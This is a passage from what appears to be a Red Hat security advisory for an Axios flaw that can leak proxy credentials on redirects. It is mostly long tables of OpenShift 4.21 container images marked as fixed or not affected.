| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios. During specific proxy-to-direct redirect flows in the Node.js HTTP adapter, a remote attacker could exploit this vulnerability. The Proxy-Authorization header, which contains proxy credentials and is intended only for the outbound proxy, may be forwarded to the final redirected origin. This can lead to the disclosure of sensitive proxy credentials to an unintended third party.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
82 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64 | — |
Workaround
|
|
